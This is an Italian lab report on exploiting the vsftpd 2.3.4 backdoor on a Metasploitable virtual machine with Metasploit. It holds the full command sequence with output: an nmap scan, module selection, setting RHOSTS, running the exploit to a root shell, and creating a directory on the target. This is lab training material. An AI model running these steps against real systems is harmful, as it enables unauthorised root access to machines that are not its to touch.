

Hacking con Metasploit

In questo report si andrà ad effettuare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd».

Il primo step è andare a verificare lo stato della porta 21, la default per il servizio ftp. Si ha utilizzato nmap per ottenere tale informazione.

```
(root㉿kali)-[~/home/kali]
└─# nmap -sV 192.168.51.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-15 15:00 -0500
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 4.55% done; ETC: 15:00 (0:00:00 remaining)
Nmap scan report for 192.168.51.101
Host is up (0.020s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
```

Dopodiché con il comando *msfconsole* si entrerà nel terminale di Metasploit

```
(root㉿kali)-[~/home/kali]
└─# msfconsole
Metasploit tip: Use post/multi/manage/autoroute to automatically add
pivot routes
```

Qui cerco il modulo corretto per il servizio che si vuole hackerare → *search vsftpd*

```
msf > search vsftpd
Matching Modules
=====
#  Name
-
0  auxiliary/dos/ftp/vsftpd_232
1  exploit/unix/ftp/vsftpd_234_backdoor
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Il modulo di interesse è il numero 1, quindi si selezionerà → *use 1*

Scelto il modulo da terminale viene segnalata la mancanza di configurazione del payload, il quale di default verrà selezionato essendo l'unico disponibile in questa casistica.

Per vedere le configurazioni necessarie al payload → *show options*

```
msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Le opzioni risultano essere le seguenti:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):			
Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format
RHOSTS		yes	The target host(s), see
RPORT	21	yes	The target port (TCP)

Sarà necessario impostare obbligatoriamente quelle Required, ovvero RHOSTS e RPORT, quest'ultima è già impostata a 21 dato che è la porta del servizio scelto con il modulo.

Per impostare RHOSTS, l'IP del target, si utilizza nuovamente la sintassi di Metasploit:

```
set RHOSTS 192.168.51.101
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.51.101
RHOSTS => 192.168.51.101
```

L'attacco si potrà lanciare con il comando *exploit* il quale aprirà la shell ftp

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.51.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload /cmd/unix/interact
payload => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.51.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:36961 → 192.168.51.101:6200) at 2026-01-15 15:12:09 -0500
```

Qui si andranno ad eseguire un po' di comandi per testare il funzionamento, compresa la creazione di una nuova directory *test_metasploit*

```
ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:ab:b3:34
           inet addr:192.168.51.101 Bcast:192.168.51.255 Mask:255.255.255.0
                     inet6 addr: fe80::a00:27ff:feab:b334/64 Scope:Link
                         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
                         RX packets:3745 errors:0 dropped:0 overruns:0 frame:0
                         TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
                         collisions:0 txqueuelen:1000
                         RX bytes:297176 (290.2 KB) TX bytes:246665 (240.8 KB)
                         Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
           inet addr:127.0.0.1 Mask:255.0.0.0
                     inet6 addr: ::1/128 Scope:Host
                         UP LOOPBACK RUNNING MTU:16436 Metric:1
                         RX packets:798 errors:0 dropped:0 overruns:0 frame:0
                         TX packets:798 errors:0 dropped:0 overruns:0 carrier:0
                         collisions:0 txqueuelen:0
                         RX bytes:364229 (355.6 KB) TX bytes:364229 (355.6 KB)
```

```
whoami
root
cd /
mkdir test_metasploit
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
```